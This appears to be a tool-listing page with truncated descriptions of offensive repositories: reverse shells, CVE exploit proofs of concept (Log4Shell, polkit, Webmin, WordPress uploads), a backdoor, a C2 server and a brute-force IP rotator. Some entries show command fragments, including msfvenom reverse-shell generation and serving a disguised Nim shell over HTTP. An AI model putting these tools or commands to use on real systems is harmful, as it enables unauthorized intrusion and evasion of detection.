pickle_exploit

PickleExploit Demonstrating Remote Code Execution Vulnerability via Pickle Serialization in ClearML 🖥️ This script was developed by h3x0v3rl0rd. This proof of concept PoC demonstrates a potential security vulnerability involving the serialization and deserialization of Python objects using the...

php-reverse-shell

php-reverse-shell...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

MS08-067

MS08-067 | CVE-2008-4250 Referencia: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generación del Shellcode Usaremos msfvenom para generar el shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 Este es el código utilizado durante Pwn2Own 2021 para obtener una shell remota en el Netgear R6700v3. Entrada del blog: https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 Requisitos python3 con flask dnsmasq Uso 1. Ejecutar...

IPSpinner

🔁 IPSpinner IPSpinner es un proxy local que se puede utilizar para redirigir todas las solicitudes entrantes a través de diferentes proveedores elegidos. El propósito es crear un proxy de paso que rote la dirección IP de origen de cada solicitud. Por ejemplo, ejecutar una operación de fuerza brut...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd Remote Authentication Bypass ¿En serio, telnet en 2026? Vamos, amigos, ya es hora de pasar página. SSH existe desde 1995. 🤦 Descripción Una vulnerabilidad crítica de omisión de autenticación en GNU Inetutils telnetd que afecta a las versiones 1.9.3 hasta 2.7. ...

tsh-sctp

Tiny SHell - Una puerta trasera UNIX de código abierto root@kitploit: Antes de compilar Tiny SHell 1. En primer lugar, debes configurar tu clave secreta, que se encuentra en tsh.h; la clave puede tener cualquier longitud usa al menos 12 caracteres para una mejor seguridad. 2. Se recomienda cambia...

OWASP-mth3l3m3nt-framework

OWASP Mth3l3m3nt Framework 正在进行一次稍微重大的升级（原谅我的双关）。本次升级将带来以下内容： 更简单的编码标准 支持 PHP 8 更强大的功能 修复已提交的 bug 请求 该工具基于 GNU Affero General Public License v3 发布。 目前已打包的模块： Payload 存储 Shell 生成器 PHP/ASP/JSP/JSPX/CFM Payload 编码和解码 Base64/Rot13/Hex/带 \x 分隔符的 Hex/带 0x 前缀的 Hex CURL 图形界面 GET/POST/TRACE/OPTIONS/HEAD L...

Rainstorm

BadBash es una herramienta de explotación RCE para CVE-2014-6271. La versión básica solo verifica el sitio CGI HTTP y solo proporciona una shell inversa de netcat en el puerto 1234. Desarrollador : Andy Yang Versión : 0.1.0 Licencia : GPLv3...

PoC-CVE-2019-12840

CVE-2019-12840 Webmin 漏洞利用工具 该仓库包含一个利用 Webmin 的 CVE-2019-12840 漏洞的 Python 脚本。 描述 该脚本尝试登录 Webmin 服务器，然后利用 CVE-2019-12840 漏洞。脚本接受多个命令行参数，包括用于登录 Webmin 服务器的用户名和密码、服务器 URL、服务器端口、用于反向 Shell 的本地端口以及要在服务器上执行的命令。 用法 要使用此脚本，你至少需要提供用户名、密码和 Webmin 服务器 URL。以下是使用该脚本的示例： python exploit.py -U username -P passwo...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente: root@kitploit:...

CVE-2021-44228

Log4Shell Prueba de Concepto Este repositorio es una prueba de concepto para la vulnerabilidad CVE-2021-44228. Se deriva de este repositorio. En este repositorio he creado un ejemplo de una aplicación vulnerable y una demostración de cómo explotarla. Componentes de la prueba de concepto He...

cve_2022_0492

Plantilla de Script de Shell Una plantilla moderna de scripts Bash con formato de salida coloreado y funciones de utilidad para crear herramientas profesionales de línea de comandos. Características 🎨 Salida Coloreada : Esquemas de color predefinidos y funciones de formato 📝 Mensajes Estandarizad...

ClearML-CVE-2024-24590

root@kitploit: / | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe PoC de Subida de Artefacto Pickle a ClearML Este proyecto demuestra cómo subir dinámicamente un...

CVE-2025-32118

🚀 CVE-2025-32118 - Exploit RCE del Plugin CMP de WordPress 🔍 Título: WordPress CMP – Coming Soon & Maintenance plugin = 4.1.13 - Ejecución Remota de Código RCE 🗓️ Publicado: 2025-04-04 🔐 CWE: CWE-434 - Carga sin restricciones de archivos de tipo peligroso 📊 CVSS: 9.1 CRÍTICO —...

GodGenesis

欢迎来到 God Genesis God Genesis 是一个完全使用 Python3 编写的 C2 服务器，旨在帮助红队成员和渗透测试人员。 目前它仅支持 TCP 反向 Shell，但稍等——它是 FUD（完全不可检测的），并且可以从任何目标 Windows 机器上获得管理员 Shell。 它所支持的命令列表如下： root@kitploit: =================================================================================================== 基础命令:...

CVE-2024-51793

🛡️ Exploit del Plugin RepairBuddy de WordPress 📜 Información del CVE ID de CVE: CVE-2024-51793 Publicado: 2024-11-11 Actualizado: 2024-11-11 Título: Vulnerabilidad de carga de archivos arbitraria en el plugin RepairBuddy de WordPress = 3.8115 Descripción: Vulnerabilidad de carga sin restricciones...

CVE-2024-56249

🛠️ WordPress Master Toolkit Exploit CVE-2024-56249 🌟 Overview This script exploits an Arbitrary File Upload vulnerability in the WordPress WPMasterToolKit plugin, allowing an attacker to upload a web shell to the server. The vulnerability exists in versions -un -p -fn 📋 Parameters...